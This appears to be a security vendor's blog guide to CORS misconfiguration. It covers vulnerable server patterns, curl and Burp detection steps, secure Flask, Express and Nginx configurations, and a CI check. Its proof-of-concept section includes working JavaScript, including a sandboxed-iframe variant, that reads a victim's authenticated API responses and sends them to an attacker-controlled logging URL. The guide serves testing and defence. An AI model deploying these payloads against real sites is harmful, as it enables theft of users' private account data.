← Back to Blog
Web Security April 3, 2026 18 min read

CORS Misconfiguration Vulnerability: Complete Guide to Detection and Prevention

CORS misconfigurations are one of the most consistently rewarded vulnerabilities in bug bounty programs — and one of the most underestimated. A single misconfigured Access-Control-Allow-Origin header can expose every authenticated API endpoint to attacker-controlled domains.

~35%
Web Apps with CORS Issues
$3K+
Avg Bug Bounty Payout
Critical
When Credentials Exposed
OWASP A05
Security Misconfiguration

What is CORS and Why Does It Matter?

ℹ️ The Same-Origin Policy

By default, browsers enforce the Same-Origin Policy (SOP): JavaScript running on attacker.com cannot read responses from bank.com. CORS is the mechanism that relaxes this restriction — and when misconfigured, it can completely undermine the SOP.

Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate which origins (domain + scheme + port) other than its own are permitted to read its responses. When a browser makes a cross-origin request, it enforces the server's CORS policy.

The critical headers to understand:

⚠️ The Dangerous Combination

The most critical vulnerability occurs when a server returns both Access-Control-Allow-Origin: [attacker-controlled] AND Access-Control-Allow-Credentials: true. This means attackers can make authenticated requests from their site and read the responses.


CORS Misconfiguration Patterns

1. Wildcard with Credentials (Impossible by Spec, Often Attempted)

Browsers reject Access-Control-Allow-Origin: * combined with credentials. Developers often try this and then "fix" it by reflecting the origin dynamically — creating a worse vulnerability.

2. Reflecting the Origin Header Blindly

# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NEVER DO THIS
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Any origin can now read authenticated responses. This is the most common CORS vulnerability found in bug bounties.

3. Weak Origin Validation (Substring/Regex Bypass)

# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
    allow_origin(origin)

4. Null Origin Trust

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

The null origin can be triggered via sandboxed iframes, redirects, and file:// URLs. Attackers can craft pages that send requests with Origin: null.

5. Subdomain Wildcard Without TLD Anchoring

# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Pre-flight Cache Poisoning

When Access-Control-Max-Age is set, cached pre-flight responses can be exploited if the origin validation logic changes without cache invalidation.


Detection: Finding CORS Misconfigurations

Manual Detection with curl

# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 2: Null origin
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Automated Detection with Corsy

# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Burp Suite Detection

In Burp Suite Pro, the Active Scanner tests for CORS misconfigurations automatically. For manual testing, use the CORS* extension from the BApp Store. Steps:

  1. Capture a request with Burp Proxy
  2. Send to Repeater
  3. Add Origin: https://evil.com header
  4. Check if response reflects origin in Access-Control-Allow-Origin
  5. Check if Access-Control-Allow-Credentials: true is also present

What to Look For in Responses

ResponseSeverityExploitable?
ACAO: *Low-MediumOnly without credentials
ACAO: [evil origin] onlyMediumWithout credentials
ACAO: [evil origin] + ACAC: trueCriticalYes — full credential theft
ACAO: null + ACAC: trueHighVia sandboxed iframe

Proof of Concept: Exploiting CORS Misconfiguration

⚠️ For Educational Purposes Only

The following PoC demonstrates the impact of CORS misconfigurations. Only test against applications you own or have explicit written permission to test.

Basic CORS PoC (Read Sensitive Data)

<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Sends cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate to attacker's server
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>

Null Origin PoC (Sandboxed Iframe)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Subdomain Takeover + CORS Chaining

If a trusted subdomain (e.g., legacy.victim.com) is available for takeover and the API trusts *.victim.com, combining subdomain takeover with CORS creates a critical impact chain.


Real-World CORS Vulnerabilities

Case Study: Major E-commerce Platform ($12,500 Bounty)

📋 Scenario

A researcher discovered that the payment API endpoint /api/v2/payment-methods reflected any origin header with credentials. By hosting a malicious page on a look-alike domain, they could silently read victims' saved credit card metadata (last 4 digits, expiry, billing address) and account balance when the victim visited the attacker's page.

Case Study: Healthcare Portal (Critical)

⚠️ Patient Data at Risk

A healthcare company's patient portal accepted requests from null origins. The internal admin API used the same CORS policy as the patient-facing API. An attacker's sandboxed iframe could read PHI (Protected Health Information) from authenticated sessions — a direct HIPAA violation.

Notable Disclosed CORS Bugs

CompanyVulnerabilityPayout
ShopifyOrigin reflection in merchant API$25,000
UberWildcard subdomain trust$3,000
YahooNull origin acceptance$2,500
StarbucksPre-domain bypass$4,000

Prevention: Hardening CORS Configurations

Allowlist-Based Origin Validation (Correct Approach)

# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # Critical for caching!
    return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Nginx CORS Configuration

# nginx.conf - Secure CORS
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # Never use: add_header 'Access-Control-Allow-Origin' '*';
    }
}

CORS Security Checklist


CORS vs CSRF: Understanding the Difference

ℹ️ Common Confusion

CSRF exploits the browser's automatic cookie sending for state-changing requests (writes). The attacker doesn't need to read the response. CORS misconfigurations allow attackers to read cross-origin responses. Both require the victim to be authenticated. CORS does NOT protect against CSRF — use CSRF tokens for that.

Testing CORS in Your CI/CD Pipeline

# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
  run: |
    # Test critical endpoints
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")
      
      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CORS MISCONFIGURATION DETECTED: $endpoint"
        exit 1
      fi
    done
    echo "CORS check passed"

Detect CORS Misconfigurations Automatically

KENSAI scans for CORS misconfigurations, reflected origin vulnerabilities, and null-origin trust issues across all your API endpoints — continuously.

Start Free Scan →

FAQ

Is a CORS misconfiguration always critical?

Severity depends on the combination of headers. Access-Control-Allow-Origin: * alone (without credentials) is low-medium severity. The critical cases involve both arbitrary/reflected origin AND Access-Control-Allow-Credentials: true — this enables full session hijacking and data theft.

Can CORS misconfigurations be exploited without user interaction?

CORS exploits require the victim to visit the attacker's page with an active session on the target site. The exploit happens silently in the background — the victim sees nothing. This makes them particularly dangerous in phishing scenarios.

Does HTTPS prevent CORS attacks?

No. CORS is a same-origin policy relaxation mechanism and operates regardless of whether HTTPS is used. The scheme (http vs https) is part of the origin, but using HTTPS doesn't fix CORS misconfigurations.

How does KENSAI detect CORS misconfigurations?

KENSAI's active scanner tests all API endpoints with modified origin headers, checking for reflected origins, null origin acceptance, and the critical combination of reflected origins with credential support. Findings are prioritized by actual exploitability, not just header presence.

Security is not optional.

🗡️ The KENSAI Team

Related Articles

KENSAI vs CrowdStrike: Best... سرقة بيانات اعتماد FortiGate، شبكة KadNap تصيب 14 RSAC 2026 Product Blitz Reshapes Market, OpenAI Launches AI Safety Bug Bounty, G